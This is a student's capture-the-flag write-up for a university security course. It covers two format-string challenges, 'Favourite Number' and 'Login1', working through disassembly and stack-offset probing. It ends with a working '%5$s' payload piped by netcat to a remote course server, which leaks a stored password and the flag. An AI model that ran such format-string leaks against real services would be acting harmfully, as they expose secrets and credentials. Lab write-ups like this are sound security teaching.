

Favourite Number

To start off, I used *objdump* to get the disassembly code from the executable.

```
8048731: 85 c4 08          add     $0x8,%esp
8048734: c7 c0 44 a0 04 08 mov     $0x804a044,%eax
804873a: 8b 00             mov     (%eax),%eax
804873c: 83 f8 63          cmp     $0x63,%eax
804873f: 7f 1b             jg      804875c <vuln+0xa7>
8048741: 8d 83 f4 e8 ff ff lea     -0x170c(%ebx),%eax
```

Then I used the [finder.sh](#) script provided in the lectures to pass some input into the program and display the contents of each stack offset until I could determine which offset corresponded to the input variable. From the output, we can see that offset 1, 2, etc store the input text.

```
sauron4@DESKTOP-5I8HJ14:~/6841$ sudo ./finder.sh 1 15 favourite-number
try 1
My favourite number is 345, and you'll never change my mind.
What is your name?
AAAABBBB 0x41414141
Nice to meet you AAAABBBB %1$p

Many have tried, but I have a hatred for small numbers!
try 2
My favourite number is 345, and you'll never change my mind.
What is your name?
AAAABBBB 0x42424242
Nice to meet you AAAABBBB %2$p
```

From the assembly code above, we can see that we are comparing 0x63 with the value stored in *eax* register (*cmp* instruction). So, I tried entering 0x63 and input offset as payload so that it prints what's stored at 0x63.

```
Many have tried, but I have a hatred for small numbers!
sauron4@DESKTOP-5I8HJ14:~/6841$ python2 -c 'print(b"%1$s \x00\x00\x00\x63")' | ./favourite-number
My favourite number is 1068, and you'll never change my mind.
What is your name?
Segmentation fault (core dumped)
sauron4@DESKTOP-5I8HJ14:~/6841$ python2 -c 'print(b"%1$s \x63\x00\x00\x00")' | ./favourite-number
My favourite number is 889, and you'll never change my mind.
What is your name?
Segmentation fault (core dumped)
```

However, we get a seg fault-maybe because it's the wrong memory address? Then I learned that 0x63 is not a memory address- it's just a hardcoded value that we're comparing with *%eax* register. Before the *cmp* instruction, there's an instruction that moves the value of this *eax* register to 0x804a044 memory address

```

804870c: 50          push    %eax
804870d: e8 7e fd ff ff  call    8048490 <fgets@plt>
8048712: 83 c4 0c     add     $0xc,%esp
8048715: 8d 45 d4     lea     -0x2c(%ebp),%eax
8048718: 50          push    %eax
8048719: e8 52 fd ff ff  call    8048470 <printf@plt>
804871e: 83 c4 04     add     $0x4,%esp
8048721: 8d 45 d4     lea     -0x2c(%ebp),%eax
8048724: 50          push    %eax
8048725: 8d 83 dc e8 ff ff  lea     -0x1724(%ebx),%eax
804872b: 50          push    %eax
804872c: e8 3f fd ff ff  call    8048470 <printf@plt>
8048731: 83 c4 08     add     $0x8,%esp
8048734: c7 c0 44 a0 04 08  mov     $0x804a044,%eax
804873a: 8b 00       mov     (%eax),%eax
804873c: 83 f8 63     cmp     $0x63,%eax
804873f: 7f 1b       jg      804875c <vuln+0xa7>
8048741: 8d 83 f4 e8 ff ff  lea     -0x170c(%ebx),%eax
8048747: 50          push    %eax
8048748: e8 63 fd ff ff  call    80484b0 <puts@plt>
804874d: 83 c4 04     add     $0x4,%esp
8048750: e8 e1 fe ff ff  call    8048636 <win>
8048755: b8 00 00 00 00  mov     $0x0,%eax
804875a: eb 14       jmp     8048770 <vuln+0xbb>
804875c: 8d 83 1c e9 ff ff  lea     -0x16e4(%ebx),%eax
8048762: 50          push    %eax
8048763: e8 48 fd ff ff  call    80484b0 <puts@plt>
8048768: 83 c4 04     add     $0x4,%esp
804876b: b8 01 00 00 00  mov     $0x1,%eax
8048770: 8b 5d fc     mov     -0x4(%ebp),%ebx
8048773: c9          leave
8048774: c3          ret

```

- After the cmp instruction, there is a jp (jump if greater than) instruction; this tells that us the program is comparing the favourite_number with 0x63(dec=99) and if favourite number is greater than this, then it jumps to another section of the prog
- We can see that if fav_num does not follow the jg instruction, it continues to a series of instructions, one of which includes calling a 'win' function → sounds like something we want → we want favourite_number to be less than 99

I used [finder.sh](#) to determine the offset corresponding to our input value → revealed to be 1st, 2d, etc offset

Then, tried to load this offset with fav_num memory address and then print the (int) value of fav_num to ensure that I had the right memory address

This didn't work, because it was just printing the decimal value of 0x804a044

Was very stuck at this point.

Eventually discovered that I could use %n; %n = assigns the corresponding argument with the number of bytes printed by printf function

- Can confirm that it doesn't work if my payload > 99

Login1

```

804929d:    e8 ee fd ff ff    call    8049090 <strlen@plt>
80492a2:    83 c4 04          add     $0x4,%esp
80492a5:    50               push    %eax
80492a6:    ff 75 08          push    0x8(%ebp)
80492a9:    ff 75 0c          push    0xc(%ebp)
80492ac:    e8 1f fe ff ff    call    80490d0 <strncmp@plt>
80492b1:    83 c4 0c          add     $0xc,%esp
80492b4:    85 c0            test    %eax,%eax
80492b6:    74 1c            je      80492d4 <get_input+0x5f>
80492b8:    ff 75 08          push    0x8(%ebp)

```

- Strncmp function used
- Potentially comparing 0x8(ebp) and 0xc(ebp)

```

804934e:    83 c4 04          add     $0x4,%esp
8049351:    8d 45 a8          lea     -0x58(%ebp),%eax
8049354:    c7 00 46 41 4b 45 movl    $0x454b4146, (%eax)
804935a:    c7 40 04 50 41 53 53 movl    $0x53534150, 0x4(%eax)
8049361:    c7 40 08 57 4f 52 44 movl    $0x44524f57, 0x8(%eax)
8049368:    c6 40 0c 00      movb    $0x0, 0xc(%eax)
804936c:    eb 11            jmp     804937f <vuln+0xa1>

```

- Some values that might be important
- Converted to ascii they are EKAF, SSAP, DROW => reverse of FAKE PASS WORD

From the assembly for vuln, we can see that if fopen fails (i.e the flag.txt file can't be open), then the program sets the %eax register to be FAKEPASSWORD

If we try inputting this, we get ...

```

Login failed, try again next time!
● sauron4@DESKTOP-5I8HJ14:~/6841$ ./login1
password not found
What is the secret password?
FAKEPASSWORD
Welcome Admin!
flag file not found

```

But this doesn't work for remote program because fopen will work in the vuln function...

```

● sauron4@DESKTOP-5I8HJ14:~/github-classroom/unsw-cse-comp99-3900/capstone-project-25t2-3900-h18a-date$ nc 170.64.222.246 6843
What is the secret password?
FAKEPASSWORD
FAKEPASSWORD

Login failed, try again next time!

```

What we can do instead is try to run finder to see which offset of the stack, the password is stored in

```

sauron4@DESKTOP-5I8HJ14:~/6841$ ./finder.sh 1 15 login1
try 1
password not found
What is the secret password?
AAAABBBB

Login failed, try again next time!
try 2
password not found
What is the secret password?
AAAABBBB 3 4 5 6 7 8 9

Login failed, try again next time!
try 3
password not found
What is the secret password?
AAAABBBB 0 1 2 3 4 5 6 7 8 9 a b c d e f

Login failed, try again next time!
try 4
password not found
What is the secret password?
AAAABBBB AAAABBBB %4$s

Login failed, try again next time!
try 5
password not found
What is the secret password?
AAAABBBB FAKEPASSWORD

Login failed, try again next time!
try 6
password not found
What is the secret password?
Segmentation fault (core dumped)

```

As we can see, FAKEPASSWORD is stored in offset 5

So, if we print offset 5 ...

```

sauron4@DESKTOP-5I8HJ14:~/github-classroom/unsw-cse-comp99-3900/capst
sauron4@DESKTOP-5I8HJ14:~/github-classroom/unsw-cse-comp99-3900/capstone-project-25t2-3900-h18a-date$ python2 -c 'print(b"%5$s")' | nc 170.64.222.246 6843
What is the secret password?
SUPERSECRETPASSWORD123

Login failed, try again next time!

```

We get the password!

```

Login failed, try again next time!
sauron4@DESKTOP-5I8HJ14:~/github-classroom/unsw-cse-comp99-3900/capstone-project-25t2-3900-h18a-date$ nc 170.64.222.246 6843
What is the secret password?
SUPERSECRETPASSWORD123
Welcome Admin!
COMP6841{YOUR_FIRST_MEMORY_LEAK}

```